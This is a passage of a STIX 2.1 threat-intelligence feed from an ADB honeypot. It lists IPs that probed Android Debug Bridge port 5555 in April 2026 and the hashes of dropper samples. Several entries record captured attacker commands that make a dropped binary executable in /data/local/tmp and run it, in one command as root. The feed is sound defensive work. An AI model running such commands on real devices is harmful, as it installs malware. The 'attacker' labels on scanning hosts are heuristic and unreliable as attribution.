        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 59,
          "first_seen": "2026-04-06T03:53:07.000Z",
          "last_seen": "2026-04-06T04:05:54.967Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971",
            "7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865",
            "d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T04:00:28.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-06T03:38:57.000Z | last_seen=2026-04-22T05:42:28.748Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.224.128.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:00:28.000Z",
      "valid_until": "2026-05-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-06T03:38:57.000Z",
          "last_seen": "2026-04-22T05:42:28.748Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T04:00:28.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=MX; asn=8151; asn_org=UNINET; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T03:30:01.000Z | last_seen=2026-04-06T03:40:10.323Z | ports=5555 | cc=MX | asn=8151 | org=UNINET",
      "id": "indicator--7c4d6d9d-3688-4533-b932-bce66270d417",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '201.138.194.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:00:28.000Z",
      "valid_until": "2026-05-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T03:30:01.000Z",
          "last_seen": "2026-04-06T03:40:10.323Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "8151"
          ],
          "org": [
            "UNINET"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T04:00:28.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T03:31:48.000Z | last_seen=2026-04-06T03:33:07.303Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--c28643e9-25aa-4d57-8a52-89ed858c4b87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:00:28.000Z",
      "valid_until": "2026-05-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T03:31:48.000Z",
          "last_seen": "2026-04-06T03:33:07.303Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T04:00:28.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971.raw; src_ip=125.40.221.117; src_ips=125.40.221.117; cc=CN; last_seen=2026-04-06T03:55:01.168Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--b0a2c041-a286-4443-9375-212b4f3c80bc",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:00:28.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T04:00:28.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865.raw; src_ip=125.40.221.117; src_ips=125.40.221.117; cc=CN; last_seen=2026-04-06T03:54:30.367Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--be36b9a1-9049-4919-b904-9884df3c4d1d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:00:28.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T04:00:28.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5.raw; src_ip=125.40.221.117; src_ips=125.40.221.117; cc=CN; last_seen=2026-04-06T03:55:32.449Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--e144f8d7-9ba7-448e-ad7e-1ec66d9ad4d9",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:00:28.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-06T04:08:04.000Z | last_seen=2026-04-06T04:23:56.883Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--464f4742-f22b-4144-bc09-e4370612fdfb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '115.23.104.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T05:00:03.000Z",
      "valid_until": "2026-05-08T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-06T04:08:04.000Z",
          "last_seen": "2026-04-06T04:23:56.883Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T06:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=IN; asn=24560; asn_org=Bharti Airtel Ltd., Telemedia Services; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T05:30:10.000Z | last_seen=2026-04-06T05:40:18.177Z | ports=5555 | cc=IN | asn=24560 | org=Bharti Airtel Ltd., Telemedia Services",
      "id": "indicator--0b87c70e-8b3a-4b46-a803-62a8d42a16a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.97.187.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:00:12.000Z",
      "valid_until": "2026-05-08T06:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T05:30:10.000Z",
          "last_seen": "2026-04-06T05:40:18.177Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "24560"
          ],
          "org": [
            "Bharti Airtel Ltd., Telemedia Services"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T06:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=SN; asn=8346; asn_org=SONATEL SONATEL-AS Autonomous System; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T05:39:05.000Z | last_seen=2026-04-06T05:49:14.587Z | ports=5555 | cc=SN | asn=8346 | org=SONATEL SONATEL-AS Autonomous System",
      "id": "indicator--12caddfb-3ac8-4e82-bed8-9cf25b743691",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '154.124.204.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:00:12.000Z",
      "valid_until": "2026-05-08T06:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T05:39:05.000Z",
          "last_seen": "2026-04-06T05:49:14.587Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SN"
          ],
          "asn": [
            "8346"
          ],
          "org": [
            "SONATEL SONATEL-AS Autonomous System"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T06:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=ES; asn=200845; asn_org=Avatel Telecom, SA; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T05:18:10.000Z | last_seen=2026-04-06T05:28:18.638Z | ports=5555 | cc=ES | asn=200845 | org=Avatel Telecom, SA",
      "id": "indicator--f1360d9a-2e67-459a-83ca-5319a629870e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '212.104.182.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:00:12.000Z",
      "valid_until": "2026-05-08T06:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T05:18:10.000Z",
          "last_seen": "2026-04-06T05:28:18.638Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "200845"
          ],
          "org": [
            "Avatel Telecom, SA"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=5410; asn_org=Bouygues Telecom SA; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T06:16:23.000Z | last_seen=2026-04-06T06:26:29.060Z | ports=5555 | cc=FR | asn=5410 | org=Bouygues Telecom SA",
      "id": "indicator--a0fdea8d-ae1a-4ee5-902a-3492d3efa4d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '128.79.205.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:00:04.000Z",
      "valid_until": "2026-05-08T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T06:16:23.000Z",
          "last_seen": "2026-04-06T06:26:29.060Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "5410"
          ],
          "org": [
            "Bouygues Telecom SA"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=IN; asn=55836; asn_org=Reliance Jio Infocomm Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T06:53:59.000Z | last_seen=2026-04-06T07:04:00.391Z | ports=5555 | cc=IN | asn=55836 | org=Reliance Jio Infocomm Limited",
      "id": "indicator--49efaa0e-eedd-41cf-a1fd-c73678a31caa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.51.0.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:00:04.000Z",
      "valid_until": "2026-05-08T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T06:53:59.000Z",
          "last_seen": "2026-04-06T07:04:00.391Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "55836"
          ],
          "org": [
            "Reliance Jio Infocomm Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=BR; asn=267423; asn_org=NICFIBRA TELECOM; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T06:16:07.000Z | last_seen=2026-04-06T06:26:14.099Z | ports=5555 | cc=BR | asn=267423 | org=NICFIBRA TELECOM",
      "id": "indicator--6137c8ec-9a07-4c8a-827a-40e2054451e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '181.191.118.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:00:04.000Z",
      "valid_until": "2026-05-08T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T06:16:07.000Z",
          "last_seen": "2026-04-06T06:26:14.099Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "267423"
          ],
          "org": [
            "NICFIBRA TELECOM"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=JP; asn=2516; asn_org=KDDI CORPORATION; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T07:00:26.000Z | last_seen=2026-04-06T07:10:28.506Z | ports=5555 | cc=JP | asn=2516 | org=KDDI CORPORATION",
      "id": "indicator--f76602dd-737f-4dbe-b306-fe2c9993371d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '111.108.24.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T08:00:04.000Z",
      "valid_until": "2026-05-08T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T07:00:26.000Z",
          "last_seen": "2026-04-06T07:10:28.506Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "2516"
          ],
          "org": [
            "KDDI CORPORATION"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=PE; asn=270081; asn_org=VEMAX S.A.C; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T07:41:36.000Z | last_seen=2026-04-06T07:51:40.796Z | ports=5555 | cc=PE | asn=270081 | org=VEMAX S.A.C",
      "id": "indicator--822aa622-5b0d-474e-9d80-09526ec4d9d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '179.49.156.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T08:00:04.000Z",
      "valid_until": "2026-05-08T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T07:41:36.000Z",
          "last_seen": "2026-04-06T07:51:40.796Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PE"
          ],
          "asn": [
            "270081"
          ],
          "org": [
            "VEMAX S.A.C"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T07:49:10.000Z | last_seen=2026-04-06T07:59:18.645Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T08:00:04.000Z",
      "valid_until": "2026-05-08T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T07:49:10.000Z",
          "last_seen": "2026-04-06T07:59:18.645Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T08:00:04.000Z",
